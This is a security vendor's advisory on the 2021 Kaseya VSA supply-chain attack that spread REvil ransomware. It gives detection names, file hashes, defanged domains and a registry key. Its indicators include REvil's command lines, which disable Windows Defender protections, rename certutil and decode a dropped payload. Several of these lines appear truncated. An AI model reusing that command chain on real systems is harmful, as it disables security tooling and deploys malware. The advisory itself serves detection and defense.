Kaseya VSA Supply-Chain Ransomware Attack

Sophos 2 Jul 2021

First updated 2021-07-02, 19:50 UTC

Last updated 2021-07-06, 04:10 UTC

Sophos is aware of a supply chain attack that uses Kaseya to deploy a variant of the REvil ransomware into a victim's environment.The attack is geographically dispersed. Organizations running Kaseya VSA are potentially impacted. Kaseya has stated that the attack started around 14:00 EDT/18:00 UTC on Friday, July 2, 2021 and they are investigating the incident.

There's been a noticeable shift towards attacks on perimeter devices in recent years. Vulnerabilities in common internet facing devices allow attackers to compromise large numbers of systems at once with very little effort

It appears that the attackers used a zero-day vulnerability to remotely access internet facing VSA Servers. As Kaseya is primarily used by Managed Service Providers (MSPs) this approach gave the attackers privileged access to the devices of the MSP's customers. Some of the functionality of a VSA Server is the deployment of software and automation of IT tasks. As such, it has a high level of trust on customer devices. By infiltrating the VSA Server, any attached client will perform whatever task the VSA Server requests without question. This is likely one of the reasons why Kaseya was targeted.

For a detailed analysis of the attack, the malware used, and lessons learned, please see the SophosLabs Uncut article Independence Day: REvil uses supply chain exploit to attack hundreds of businesses.

We will update this location with more information as it becomes available.

What should customers look for?

If a Sophos customer is running Kaseya they can be alerted to the attack via one or more of the following events

- A behavioral detection of "HPmal/Sodino-A", or "Impact_4a (mem/sodino-a)" from Sophos Central Intercept X, Sophos Central Endpoint Protection, or Sophos Enterprise Console (SEC)
- The following features of Sophos Intercept X blocking the ransomware functionality
  - CryptoGuard blocking the encryption of files
  - DynamicShellCode Protection and HeapHeapProtect intercepting the attack chain

SophosLabs and the Sophos Security Operations Team have compiled a list of Indicators of Compromise. They are listed below and can be used by threat hunters to perform searches in their own environments.

What should customers do?

For Sophos MTR customers, the MTR team is monitoring the situation, assessing customer impact, and addressing issues as they appear.

If you use Kaseya in your environment:

Associated links

- https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689
- https://us-cert.cisa.gov/ncas/current-activity/2021/07/02/kaseya-vsa-supply-chain-ransomware-attack
- https://csirt.divd.nl/2021/07/04/Kaseya-Case-Update-2/
- https://news.sophos.com/en-us/2021/07/02/kaseya-vsa-supply-chain-ransomware-attack/
- https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-l
- Demo of REvil ransomware being executed

Indicators of Compromise

Sophos Detections

- Troj/Ransom-GIP
- Troj/Ransom-GIQ
- HPmal/Sodino-A
  - Detected in C:\Windows\MsMpEng.exe
- DynamicShellcode
  - hmpa.exploit.prevented.1
- Cryptoguard
  - cryptoguard.file.detected.1

Process Data:

- "C:\WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 6258 > nul & C:\Windows\System32\WindowsPowerS
  MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtec
  $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting D
  NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Wind
  C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt
  c:\kworking\agent.exe
  - Parent Path - C:\Program Files (x86)\Kaseya\<ID>\AgentMon.exe
- "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 -n 5693 > nul & C:\Windows\System32\WindowsPowerSh
  MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtec
  $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting D
  NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Wind
  C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt
  c:\kworking\agent.exe
  - Parent Path - C:\Program Files (x86)\Kaseya\<ID>\AgentMon.exe

Files involved

- C:\windows\cert.exe
  - 36a71c6ac77db619e18f701be47d79306459ff1550b0c92da47b8c46e2ec0752
- C:\windows\msmpeng.exe
  - 33bc14d231a4afaa18f06513766d5f69d8b88f1e697cd127d24fb4b72ad44c7a
- C:\kworking\agent.crt
- C:\Windows\mpsvc.dll
  - 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd
- C:\kworking\agent.exe
  - d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e

Registry Keys

- HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\BlackLivesMatter

Ransomware Extension

Domains

- ncuccr[.]org
- 1team[.]es
- 4net[.]guru
- 35-40konkatsu[.]net
- 123vrachi[.]ru
- 4youbeautysalon[.]com
- 12starhd[.]online
- 101gowrie[.]com
- 8449nohate[.]org
- 1kbk[.]com[.]ua
- 365questions[.]org
- 321play[.]com[.]hk
- candyhouseusa[.]com
- andersongilmour[.]co[.]uk
- facettenreich27[.]de
- blgr[.]be
- fannmedias[.]com
- southeasternacademyofprosthodontics[.]org
- filmstreamingvfcomplet[.]be
- smartypractice[.]com
- tanzschule-kieber[.]de
- iqbalscientific[.]com
- pasvenska[.]se
- cursosgratuitosnainternet[.]com
- bierensgebakkramen[.]nl
- c2e-poitiers[.]com
- gonzalezfornes[.]es
- tonelektro[.]nl
- milestoneshows[.]com
- blossombeyond50[.]com
- thomasvicino[.]com
- kaotikkustomz[.]com
- mindpackstudios[.]com
- faroairporttransfers[.]net
- daklesa[.]de
- bxdf[.]info
- simoneblum[.]de
- gmto[.]fr
- cerebralforce[.]net
- myhostcloud[.]com
- fotoscondron[.]com
- sw1m[.]ru
- homng[.]net

Updated information

2021-07-06, 04:10 UTC - Updated demo of REvil ransomware attack

2021-07-05, 00:21 UTC - Updated analysis of attack

2021-07-04, 17:30 UTC - Updated introduction text and associated links

2021-07-04, 01:00 UTC - Updated Sophos detection information

2021-07-03, 14:12 UTC - Updated domains affected